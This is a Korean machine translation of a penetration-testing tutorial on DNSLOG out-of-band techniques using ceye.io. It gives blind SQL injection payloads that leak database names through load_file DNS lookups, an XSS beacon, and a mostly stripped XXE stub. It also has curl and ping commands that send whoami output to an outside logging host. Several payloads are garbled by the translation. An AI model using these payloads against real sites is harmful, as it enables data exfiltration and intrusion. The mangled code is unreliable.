>  기사  >  운영 및 유지보수  >  DNSLOG를 합리적으로 사용하여 에코 없는 보안 테스트를 수행하는 방법

DNSLOG를 합리적으로 사용하여 에코 없는 보안 테스트를 수행하는 방법

王林
王林앞으로
2023-05-25 08:04:291836검색

실제로 일부 웹사이트의 보안 문제를 테스트할 때 일부 테스트 명령은 실행 후 응답이 없습니다. 스크립트를 작성하여 블라인드 주입을 수행할 수 있지만 일부 웹사이트는 IP 주소를 차단하므로 IP 주소를 설정할 수 있습니다. 프록시 풀이 문제를 해결합니다. 문제가 있지만 블라인드 주입은 매우 비효율적인 경우가 많으므로 DNSlog 주입이 발생합니다.

dnslog를 사용하기 전에 백틱 기호를 이해해야 합니다.
기호: `
이름: 백틱, 위쪽 구분 기호
위치: 백틱, 이 문자는 일반적으로 키보드의 왼쪽 상단, 숫자 1의 왼쪽에 있습니다. 넣지 마십시오. 작은따옴표와 혼동됩니다. 그 기능: 백틱으로 묶인 문자열은 쉘에 의해 명령줄로 해석됩니다. 실행될 때 쉘은 먼저 명령줄을 실행하고 전체 백틱(두 개의 백틱 포함)을 다음으로 바꿉니다. 표준 출력 결과) 부분.

DNSLOG를 합리적으로 사용하여 에코 없는 보안 테스트를 수행하는 방법DNS 로그 에코 테스트는 다음과 같습니다.
먼저 구성 가능한 도메인 이름이 있어야 합니다(예: ceye.io). 그런 다음 에이전트를 통해 도메인 이름 ceye.io의 네임서버를 자신의 서버 A로 설정하고, 그런 다음 서버 A 서버에 DNS를 구성하여 모든 ceye.io 및 해당 하위 도메인 이름 쿼리가 서버 A로 이동하도록 합니다. 이때 아래 그림과 같이 도메인 이름 쿼리 요청을 실시간으로 모니터링할 수 있습니다.

DNSLOG를 합리적으로 사용하여 에코 없는 보안 테스트를 수행하는 방법DNS는 파싱 시 로그를 남깁니다. 우리가 하는 일은 정보를 얻기 위해 다단계 도메인 이름의 파싱 로그를 읽는 것입니다.
간단히 말하면 상위 도메인 이름에 정보를 넣어서 우리 자신에게 전달하는 것입니다. 그런 다음 로그를 읽고 정보를 얻습니다.
원리는 매우 추상적이므로 실제 사례를 통해 살펴보겠습니다.
http://ceye.io 이것은 dnslog 기록을 위한 무료 플랫폼입니다. 등록한 후 제어판에 주입 정보를 입력하면 xxx.ceye.io라는 두 번째 도메인 이름이 제공됩니다. 3단계 도메인 이름, 백그라운드 로그가 기록됩니다.

DNSLOG를 합리적으로 사용하여 에코 없는 보안 테스트를 수행하는 방법

0x01SQL 블라인드 주입SQL 블라인드 주입을 예로 들어보겠습니다. DNSlog 주입 프로세스 심층 이해:
DNSlog를 통한 블라인드 주입에는 load_file() 함수가 필요하므로 일반적으로 루트 권한이 필요합니다. '%secure%'와 같은 변수를 표시합니다. load_file()이 읽을 수 있는 디스크를 확인하세요.
1. secure_file_priv가 비어 있으면 디스크의 디렉터리를 읽을 수 있습니다.
2. secure_file_priv가 G:이면 G 드라이브에 있는 파일을 읽을 수 있습니다.
3.secure_file_priv가 null인 경우 load_file은 파일을 로드할 수 없습니다.

DNSLOG를 합리적으로 사용하여 에코 없는 보안 테스트를 수행하는 방법my.ini를 설정하여 구성하세요. secure_file_priv=""는 모든 디스크에 파일을 로드할 수 있습니다.

DNSLOG를 합리적으로 사용하여 에코 없는 보안 테스트를 수행하는 방법mysql 명령줄에서 실행: select load_file('\afanti.xxxx.ceye.ioaaa'); 여기서 afanti는 삽입할 쿼리 문입니다.
플랫폼을 보면 dnsLog가 기록됩니다.

DNSLOG를 합리적으로 사용하여 에코 없는 보안 테스트를 수행하는 방법load_file() 함수는 DNS를 통해 요청을 해결할 수 있습니다.
SQL-labs의 다섯 번째 레벨을 선택하세요:
payload:' and if((select load_file(concat('\',(select data()),'.xxxxx.ceye.ioabc'))),1,0) - - -+
SQL 문 실행됨: SELECT * FROM users WHERE id='1' and if((select load_file(concat('\',(select Database()),'.xxxxx.ceye.ioabc'))) ,1,0)
dnslog 로그를 확인하고 보안 데이터베이스가 쿼리되었는지 확인하세요.

DNSLOG를 합리적으로 사용하여 에코 없는 보안 테스트를 수행하는 방법

0x02 XSS(에코 없음)블라인드 타이핑을 통해 트리거러의 브라우저가 사전 설정된 링크 주소에 액세스하도록 허용합니다. 블라인드인 경우 성공하는 경우. , 플랫폼에서 다음 링크 액세스 기록을 받게 됩니다:
payload:>DNSLOG를 합리적으로 사용하여 에코 없는 보안 테스트를 수행하는 방법 src가 dnslog 플랫폼을 요청하도록 하세요

DNSLOG를 합리적으로 사용하여 에코 없는 보안 테스트를 수행하는 방법

0x03 × ××F(에코 없음)payload:



%remote;]>

0x04 명령 실행(에코 없음)
도메인 이름을 ping할 때 재귀 DNS를 수행합니다. 이때 실제로 명령이 실행되고 플랫폼이 에코를 수신하면 취약점이 존재한다는 것이 증명됩니다.
Linux
컬 http://haha.xxx.ceye.io/`whoami
whoami`.xxxx.ceye.io<br>ping

Windows
핑 %USERNAME%.xxx.ceye.io

DNSLOG를 합리적으로 사용하여 에코 없는 보안 테스트를 수행하는 방법

DNSLOG를 합리적으로 사용하여 에코 없는 보안 테스트를 수행하는 방법

위 내용은 DNSLOG를 합리적으로 사용하여 에코 없는 보안 테스트를 수행하는 방법의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!

성명:
이 기사는 yisu.com에서 복제됩니다. 침해가 있는 경우 admin@php.cn으로 문의하시기 바랍니다. 삭제